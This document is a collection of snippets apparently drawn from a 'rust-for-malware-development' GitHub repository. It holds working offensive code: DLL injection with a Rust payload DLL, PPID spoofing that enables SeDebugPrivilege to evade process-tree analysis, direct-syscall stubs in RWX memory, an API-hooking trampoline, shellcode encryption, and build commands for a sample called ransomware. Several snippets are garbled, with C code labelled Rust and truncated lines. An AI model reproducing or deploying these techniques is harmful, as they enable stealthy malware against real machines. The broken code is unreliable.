### Example NTSockets HTTP File Download Command Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/NtSockets/README.md An example demonstrating how to use the NTSockets executable to download the index.html file from www.example.com and save it locally as output.txt. This command assumes the program has been built successfully and is being run with administrator privileges. ```bash target\release\NtSockets.exe http://www.example.com/index.html output.txt ``` -------------------------------- ### DLL Injector Command-Line Usage Examples Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/DLL_Injector/README.md Demonstrates how to use the DLL injector executable from the command line. It shows examples for injecting a single DLL, multiple DLLs, and specifying the injection method (CRT or APC). ```bash injector.exe [DLL Path 1] [DLL Path 2] ... [--method CRT|APC] ``` ```bash dll_inject.exe 1234 path\to\dll1.dll ``` ```bash dll_inject.exe 1234 dll1.dll dll2.dll ``` ```bash dll_inject.exe 1234 dll1.dll --method APC ``` -------------------------------- ### Build Docker Image for Rust Cross-Compilation Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/docker.md This command builds a Docker image named 'windows_compile' from the Dockerfile in the current directory. Ensure Docker is installed and configured before running this command. The resulting image will contain the necessary tools and environment for cross-compiling Rust to Windows. ```docker docker build . -t windows_compile ``` -------------------------------- ### Create New Rust Package with Cargo Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/deps.md This command initializes a new Rust project using Cargo, the Rust build system and package manager. It creates a new directory with a basic project structure, including a Cargo.toml manifest file and a src/main.rs file. ```rust cargo new [name] ``` ```rust cargo new maldev ``` -------------------------------- ### Rust Cross-Compilation Dockerfile for Release Builds Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/docker.md This modified Dockerfile enables release builds for cross-compilation to Windows. It includes the same setup as the default Dockerfile but appends the '--release' flag to the 'cargo build' command. This results in optimized binaries. ```dockerfile FROM rust:latest RUN apt update ; apt upgrade -y RUN apt install -y g++-mingw-w64-x86-64 RUN rustup target add x86_64-pc-windows-gnu RUN rustup toolchain install stable-x86_64-pc-windows-gnu WORKDIR /app CMD ["cargo", "build", "--target", "x86_64-pc-windows-gnu", "--release"] ``` -------------------------------- ### Default Rust Cross-Compilation Dockerfile Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/docker.md This Dockerfile sets up a Rust environment for cross-compiling to the Windows x86_64 GNU target. It installs necessary packages, adds the target architecture, and configures the default command to build the Rust project. This version compiles in debug mode. ```dockerfile FROM rust:latest RUN apt update ; apt upgrade -y RUN apt install -y g++-mingw-w64-x86-64 RUN rustup target add x86_64-pc-windows-gnu RUN rustup toolchain install stable-x86_64-pc-windows-gnu WORKDIR /app CMD ["cargo", "build", "--target", "x86_64-pc-windows-gnu"] ``` -------------------------------- ### Build Rust Project with Cargo Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/deps.md This command compiles the Rust project. Executing `cargo build` creates a debug version of the executable. For an optimized release version, use `cargo build --release`. The compiled artifacts are placed in the `target` directory. ```rust cargo build ``` ```rust cargo build --release ``` -------------------------------- ### Build and Run Rust Information Gathering Tool Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/Malware-Samples/Information Gathering/Data_collector/README.md Instructions for compiling and executing the Rust information gathering tool. This includes commands for running directly with Cargo or building a release executable. ```bash cargo run ``` ```bash cargo build --release ./target/release/Data_collector.exe ``` -------------------------------- ### Assembly: Syscall Instruction Example Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/README.md This assembly snippet shows the common instruction used to invoke a system call in x86-64 architecture. The `mov eax, ` instruction sets the syscall number, which the kernel uses to identify the requested service. ```assembly mov eax, ``` -------------------------------- ### Main Function Initialization (Rust) Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt The main entry point for the program. It initializes system calls by calling 'InitSyscallsFromLdrpThunkSignature' and then loads the NTDLL.dll module into memory using 'LoadNtdllIntoSection'. Finally, it proceeds to extract syscall stubs. Returns 1 on failure. ```rust int main(void) { if (!InitSyscallsFromLdrpThunkSignature()) { printf("[!] InitSyscallsFromLdrpThunkSignature failed\n"); return 1; } ULONG_PTR pNtdll = LoadNtdllIntoSection(); if (!pNtdll) { printf("[!] LoadNtdllIntoSection failed\n"); return 1; } CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH] = { 0 }; ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS] = { 0 }; UINT uiCount = ExtractSyscalls(pNtdll, rgszNames, rgpStubs); // Further operations using extracted syscalls would follow here return 0; } ``` -------------------------------- ### Rust DLL to Launch calc.exe using CreateProcessA Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/dll_injection/README.md This Rust code defines a DLL that attaches to a process and uses the WinAPI function CreateProcessA to launch calc.exe. It includes thread creation to manage the lifecycle of the spawned process and ensures proper handle closure to prevent multiple instances. ```rust use std::ffi::CString; use std::ptr::{null, null_mut}; use winapi::shared::minwindef::{BOOL, DWORD, HMODULE}; use winapi::um::handleapi::CloseHandle; use winapi::um::libloaderapi::FreeLibraryAndExitThread; use winapi::um::processthreadsapi::{ CreateProcessA, CreateThread, PROCESS_INFORMATION, STARTUPINFOA, }; use winapi::um::synchapi::WaitForSingleObject; use winapi::um::winbase::{CREATE_NEW_CONSOLE, INFINITE}; use winapi::um::winnt::PVOID; struct ThreadData { h_process: PVOID, h_thread: PVOID, h_module: HMODULE, } extern "system" fn thread_proc(lp_param: PVOID) -> DWORD { let data = lp_param as *mut ThreadData; let process_info = unsafe {&*data}; unsafe { WaitForSingleObject(process_info.h_process, INFINITE); CloseHandle(process_info.h_process); CloseHandle(process_info.h_thread); FreeLibraryAndExitThread(process_info.h_module, 0); } 0 // This line won't actually be reached due to FreeLibraryAndExitThread } #[unsafe(no_mangle)] pub extern "stdcall" fn DllMain( h_module: HMODULE, dw_reason: DWORD, _lp_reserved: *mut std::ffi::c_void, ) -> BOOL { match dw_reason { 1 => { // DLL_PROCESS_ATTACH unsafe { let mut startup_info: STARTUPINFOA = std::mem::zeroed(); startup_info.cb = std::mem::size_of::() as u32; let mut process_info: PROCESS_INFORMATION = std::mem::zeroed(); let application_name = match CString::new("C:\\Windows\\System32\\calc.exe") { Ok(cstr) => cstr, Err(_) => return 0, }; let success = CreateProcessA( null(), application_name.as_ptr() as *mut i8, null_mut(), null_mut(), 0, CREATE_NEW_CONSOLE, null_mut(), null(), &mut startup_info, &mut process_info, ); if success == 0 { return 0; } let thread_data = Box::into_raw(Box::new(ThreadData { h_process: process_info.hProcess, h_thread: process_info.hThread, h_module, })); let thread_handle = CreateThread( null_mut(), 0, Some(thread_proc), thread_data as PVOID, 0, null_mut(), ); if thread_handle.is_null() { CloseHandle(process_info.hProcess); CloseHandle(process_info.hThread); let _ = Box::from_raw(thread_data); return 0; } CloseHandle(thread_handle); 1 } } 0 => 1, // DLL_PROCESS_DETACH _ => 1, } } ``` -------------------------------- ### Get Syscall Function Pointer (Rust) Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt Retrieves the memory address of a specific system call stub based on its name. It searches the provided arrays of syscall names and their corresponding stub pointers. Returns the pointer to the stub or NULL if the syscall is not found. ```rust ULONG_PTR GetSyscall(CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH], ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS], UINT uiCount, PCHAR pzSyscallName) { for (UINT i = 0; i < uiCount; i++) { if (!strcmp(rgszNames[i], pzSyscallName)) { return rgpStubs[i]; } } printf("[!] Failed to find syscall: %s\n", pzSyscallName); return NULL; } ``` -------------------------------- ### PPID Spoofing with Rust for Process Creation Source: https://context7.com/whitecat18/rust-for-malware-development/llms.txt Creates a new process with a specified spoofed parent process ID, useful for evading process tree analysis. This function requires the target PPID and the command line for the new process as arguments. It utilizes the 'windows' crate for Windows API interactions and requires elevated privileges (SeDebugPrivilege). ```rust use windows::Win32::{ Foundation::{CloseHandle, HANDLE}, Security::{AdjustTokenPrivileges, LookupPrivilegeValueW, TOKEN_PRIVILEGES}, System::Threading::{ CreateProcessW, InitializeProcThreadAttributeList, OpenProcess, OpenProcessToken, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, PROCESS_ALL_ACCESS, STARTUPINFOEXW, UpdateProcThreadAttribute, }, }; unsafe fn set_privilege(token: HANDLE, privilege_name: PCWSTR, enabled: bool) -> Result<(), Error> { let mut luid = std::mem::zeroed::(); LookupPrivilegeValueW(None, privilege_name, &mut luid)?; let mut tp = std::mem::zeroed::(); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = if enabled { SE_PRIVILEGE_ENABLED } else { TOKEN_PRIVILEGES_ATTRIBUTES(0) }; AdjustTokenPrivileges(token, false, Some(&tp), std::mem::size_of::() as _, None, None)?; Ok(()) } unsafe fn create_process_with_handle(handle: HANDLE, cmdline: &str) -> Result { let mut si: STARTUPINFOEXW = std::mem::zeroed(); let mut pi: PROCESS_INFORMATION = std::mem::zeroed(); let mut size: usize = 0x30; si.StartupInfo.cb = std::mem::size_of::() as u32; let attribute_list = HeapAlloc(GetProcessHeap()?, HEAP_ZERO_MEMORY, size); si.lpAttributeList = LPPROC_THREAD_ATTRIBUTE_LIST(attribute_list as *mut _); InitializeProcThreadAttributeList(Some(si.lpAttributeList), 1, Some(0), &mut size)?; UpdateProcThreadAttribute( si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS as usize, Some(&handle as *const _ as *mut _), std::mem::size_of::(), None, None )?; let mut us_cmdline: Vec = cmdline.encode_utf16().chain(std::iter::once(0)).collect(); CreateProcessW(None, Some(PWSTR(us_cmdline.as_mut_ptr())), None, None, false, CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT, None, None, &mut si.StartupInfo, &mut pi)?; CloseHandle(pi.hThread)?; CloseHandle(pi.hProcess)?; Ok(pi.dwProcessId) } fn main() -> windows::core::Result<()> { unsafe { let ppid: u32 = std::env::args().nth(1).unwrap().parse().unwrap(); let cmdline = std::env::args().nth(2).unwrap(); let mut proc_handle = HANDLE(std::ptr::null_mut()); OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &mut proc_handle)?; set_privilege(proc_handle, PCWSTR::from_raw("SeDebugPrivilege\0".encode_utf16().collect::>().as_ptr()), true)?; CloseHandle(proc_handle)?; let phandle = OpenProcess(PROCESS_ALL_ACCESS, false, ppid)?; println!("[+] Parent handle: {:#x}", phandle.0 as usize); let pid = create_process_with_handle(phandle, &cmdline)?; CloseHandle(phandle)?; println!("[+] Created process: {}({})", cmdline, pid); } Ok(()) } ``` -------------------------------- ### Run Docker Container for Rust Compilation Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/docker.md This command runs a Docker container named 'rust_cross_compile/windows' in detached mode and removes it upon completion. It mounts the current working directory ('your-pwd') to '/app' inside the container, allowing compiled binaries to be persisted. Replace 'your-pwd' with the absolute path to your Rust project directory. ```docker docker run --rm -v ‘your-pwd’:/app rust_cross_compile/windows ``` -------------------------------- ### NTAPI NtCreateThreadEx Signature (Rust) Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt Defines the function signature for the NtCreateThreadEx native API function. This is used for creating threads in a target process, providing detailed control over thread attributes, stack size, and execution start address. It's a crucial function for process injection techniques. ```rust typedef NTSTATUS(NTAPI* FUNC_NTCREATETHREADEX)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer ); ``` -------------------------------- ### Run PE Analyzer with PE File Argument Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/analysis/PE_Analyzer1/README.md Executes the compiled PE Analyzer to analyze a specified Portable Executable file. Replace '' with the actual path to the target PE file. ```bash cargo run -- ``` -------------------------------- ### Windows: Recursively Clean Rust Projects with PowerShell (5.1 and earlier) Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/CLEAN.md This PowerShell command is designed for older versions of PowerShell. It recursively gets all child items, filters for directories, and then processes each directory. If a 'Cargo.lock' file is found within a directory, it cleans the cargo project and removes the lock file. ```powershell Get-ChildItem -Recurse | Where-Object { $_.PSIsContainer } | ForEach-Object { if (Test-Path "$($_.FullName)\Cargo.lock") { Set-Location $_.FullName; cargo clean; Remove-Item "Cargo.lock" -ErrorAction SilentlyContinue; Set-Location .. } } ``` -------------------------------- ### Build Encryfer-X Ransomware (Bash) Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/Malware-Samples/Encryfer/Encryfer-X/README.md Builds the Encryfer-X ransomware in release mode using Cargo, Rust's package manager. This command generates an optimized executable binary ready for deployment. ```bash cargo build --release ``` -------------------------------- ### Main Function for ECC Encryption/Decryption Operation in Rust Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/Encryption Methods/ecc_shellcode_exec/README.md Demonstrates the usage of `encode_shellcode` and `decode_shellcode` functions in Rust. It generates an ECC key pair, encrypts a placeholder shellcode, and then decrypts it. The output shows the private key, public key, encrypted shellcode, and the decrypted shellcode. This function serves as a practical example of the ECC implementation. ```rust fn main() { // Example string => lets name it as shellcode ie (placeholder) let shellcode: &[u8] = b"Hello, World!" // Generate ECC key pair let private_key = Scalar::random(&mut OsRng); let public_key = (ProjectivePoint::generator() * private_key).to_affine(); println!("Private Key: {:?}", private_key); println!("Public Key: {:?}", public_key); // Convert AffinePoint to VerifyingKey (or PublicKey) VerifyingKey::from_encoded_point(&EncodedPoint::from(public_key)) .expect("Invalid public key"); let (r, encrypted_shellcode) = encode_shellcode(shellcode, &public_key); println!("Encrypted Shellcode: {:?}", encrypted_shellcode); // Decode the shellcode let decrypted_shellcode = decode_shellcode(&encrypted_shellcode, &r, &private_key); println!( "Decrypted Shellcode: {:?}", String::from_utf8(decrypted_shellcode).unwrap() ); } ``` -------------------------------- ### Add winapi and ntapi Dependencies to Cargo.toml (Rust) Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/DEPENPENCIES.md This snippet shows how to add the `winapi` and `ntapi` crates to your Rust project's `Cargo.toml` file. The `winapi` crate includes a list of features that enable access to various Windows API functions, crucial for malware development. Ensure your versions are up-to-date and select features relevant to your testing needs. ```rust [dependencies] winapi = { version = "0.3", features = [ "winuser", "setupapi", "dbghelp", "wlanapi", "winnls", "wincon", "fileapi", "sysinfoapi", "fibersapi", "debugapi", "winerror", "wininet", "winhttp", "synchapi", "securitybaseapi", "wincrypt", "psapi", "tlhelp32", "heapapi", "shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi", ] } ntapi = "0.4" ``` -------------------------------- ### Configure Rust Crate for DLL Compilation Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/dll_injection/README.md This configuration in `Cargo.toml` tells the Rust compiler to produce a dynamic link library (`.dll`) instead of a static library or executable. This is essential for creating DLLs that can be loaded by other applications. ```toml [lib] crate-type = ["cdylib"] ``` -------------------------------- ### Build Syscall Stubs in C++ Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt This C++ code allocates executable memory using VirtualAlloc and then constructs small assembly stubs for three critical system calls: NtOpenFile, NtCreateSection, and NtMapViewOfSection. It uses the previously discovered syscall numbers to build these stubs, enabling direct invocation of the syscalls. ```cpp ULONG_PTR SyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 3 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!SyscallRegion) { printf("[!] VirtualAlloc for syscall stubs failed\n"); return FALSE; } NtOpenFile = (FUNC_NTOPENFILE)BuildSyscallStub(SyscallRegion, dwSyscallNo_NtOpenFile); NtCreateSection = (FUNC_NTCREATESECTION)BuildSyscallStub(SyscallRegion + MAX_SYSCALL_STUB_SIZE, dwSyscallNo_NtCreateSection); NtMapViewOfSection = (FUNC_NTMAPVIEWOFSECTION)BuildSyscallStub(SyscallRegion + (2 * MAX_SYSCALL_STUB_SIZE), dwSyscallNo_NtMapViewOfSection); printf("[+] Syscall stubs initialized: NtOpenFile=0x%p, NtCreateSection=0x%p, NtMapViewOfSection=0x%p\n", NtOpenFile, NtCreateSection, NtMapViewOfSection); return TRUE; } ``` -------------------------------- ### Run NTSockets for HTTP File Download Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/NtSockets/README.md Executes the compiled NTSockets program to download a file from a given HTTP URL and save it to a specified local path. Requires administrator privileges to interact with the AFD driver. Provide the URL as the first argument and the output file path as the second. ```bash target\release\NtSockets.exe ``` -------------------------------- ### Intercept Windows API Calls with Trampoline Hooking in Rust Source: https://context7.com/whitecat18/rust-for-malware-development/llms.txt This Rust code demonstrates API hooking by modifying function prologues with jump instructions to redirect execution to custom handler functions. It requires the 'windows' crate for Windows API access. The function takes a target API function and a replacement function as input, saves the original function's prologue, patches the target function with a jump to the replacement, and restores the original prologue when done. This allows for runtime monitoring and manipulation of API behavior. ```rust use std::ptr::{null_mut, copy_nonoverlapping}; use windows::Win32::{ System::{ LibraryLoader::{GetModuleHandleA, GetProcAddress}, Memory::{VirtualProtect, PAGE_EXECUTE_READWRITE}, }, UI::WindowsAndMessaging::{MessageBoxA, MB_OK, MB_ICONINFORMATION}, }; const INTERCEPTOR_SIZE: usize = 14; struct ApiInterceptor { target_function: *mut std::ffi::c_void, replacement_function: *mut std::ffi::c_void, original_code: [u8; INTERCEPTOR_SIZE], original_protection: PAGE_PROTECTION_FLAGS, } // Implement `new` for ApiInterceptor impl ApiInterceptor { fn new() -> Self { ApiInterceptor { target_function: null_mut(), replacement_function: null_mut(), original_code: [0; INTERCEPTOR_SIZE], original_protection: PAGE_PROTECTION_FLAGS(0), } } } // Implement `restore` for ApiInterceptor impl ApiInterceptor { unsafe fn restore(&mut self) { let mut old_protection = PAGE_PROTECTION_FLAGS(0); VirtualProtect(self.target_function, INTERCEPTOR_SIZE, self.original_protection.0, &mut old_protection).ok(); copy_nonoverlapping(self.original_code.as_ptr(), self.target_function as *mut u8, INTERCEPTOR_SIZE); VirtualProtect(self.target_function, INTERCEPTOR_SIZE, old_protection.0, &mut old_protection).ok(); } } unsafe fn setup_interceptor( target_function: *mut std::ffi::c_void, replacement_function: *mut std::ffi::c_void, interceptor: &mut ApiInterceptor, ) -> bool { interceptor.target_function = target_function; interceptor.replacement_function = replacement_function; copy_nonoverlapping( target_function as *const u8, interceptor.original_code.as_mut_ptr(), INTERCEPTOR_SIZE, ); let mut old_protection = PAGE_PROTECTION_FLAGS(0); VirtualProtect(target_function, INTERCEPTOR_SIZE, PAGE_EXECUTE_READWRITE, &mut old_protection).ok(); interceptor.original_protection = old_protection; true } unsafe fn activate_interceptor(interceptor: &mut ApiInterceptor) -> bool { let mut trampoline_code: [u8; INTERCEPTOR_SIZE] = [ 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // JMP QWORD PTR [RIP + 0x00] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Placeholder for the absolute address 0x90, 0x90 // NOP instructions to fill up to INTERCEPTOR_SIZE ]; let replacement_ptr_as_u64 = interceptor.replacement_function as u64; // Copy the replacement function's address into the trampoline code let address_bytes = replacement_ptr_as_u64.to_le_bytes(); copy_nonoverlapping(address_bytes.as_ptr(), trampoline_code.as_mut_ptr().offset(6), 8); copy_nonoverlapping(trampoline_code.as_ptr(), interceptor.target_function as *mut u8, INTERCEPTOR_SIZE); // Ensure changes are written to memory let mut old_protection = PAGE_PROTECTION_FLAGS(0); VirtualProtect(interceptor.target_function, INTERCEPTOR_SIZE, PAGE_EXECUTE_READWRITE, &mut old_protection).ok(); true } unsafe fn custom_dialog( hwnd: isize, lptext: *const u8, lpcaption: *const u8, utype: u32, ) -> i32 { println!("MessageBoxA was called!"); // You can choose to call the original MessageBoxA here if needed // For demonstration, we'll just return a value. MessageBoxA(None, s!("Intercepted Message"), s!("Intercepted Title"), MB_OK | MB_ICONINFORMATION) } fn main() { unsafe { let user32 = GetModuleHandleA(s!("user32.dll")).expect("Failed to get user32.dll"); let msgboxa_addr = GetProcAddress(user32, s!("MessageBoxA")).expect("Failed to get address of MessageBoxA"); let mut interceptor = ApiInterceptor::new(); if setup_interceptor(msgboxa_addr as *mut _, custom_dialog as *mut _, &mut interceptor) { if activate_interceptor(&mut interceptor) { println!("Interceptor activated. Calling MessageBoxA..."); // This call should now be intercepted MessageBoxA(None, s!("Original Message"), s!("Title"), MB_OK | MB_ICONINFORMATION); // Restore the original function interceptor.restore(); println!("Original function restored. Calling MessageBoxA again..."); MessageBoxA(None, s!("Original Message After Restore"), s!("Title After Restore"), MB_OK | MB_ICONINFORMATION); } else { eprintln!("Failed to activate interceptor."); } } else { eprintln!("Failed to setup interceptor."); } } } ``` -------------------------------- ### Windows: Recursively Clean Rust Projects with Command Prompt (CMD) Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/CLEAN.md This Command Prompt command recursively searches for directories containing a 'Cargo.lock' file. Upon finding one, it changes the directory, executes 'cargo clean', deletes the 'Cargo.lock' file, and then navigates back to the parent directory. This allows for batch cleaning of multiple Rust projects. ```cmd for /r %d in (.) do @if exist "%d\Cargo.lock" (cd /d "%d" & cargo clean & del /q "%d\Cargo.lock" & cd ..) ```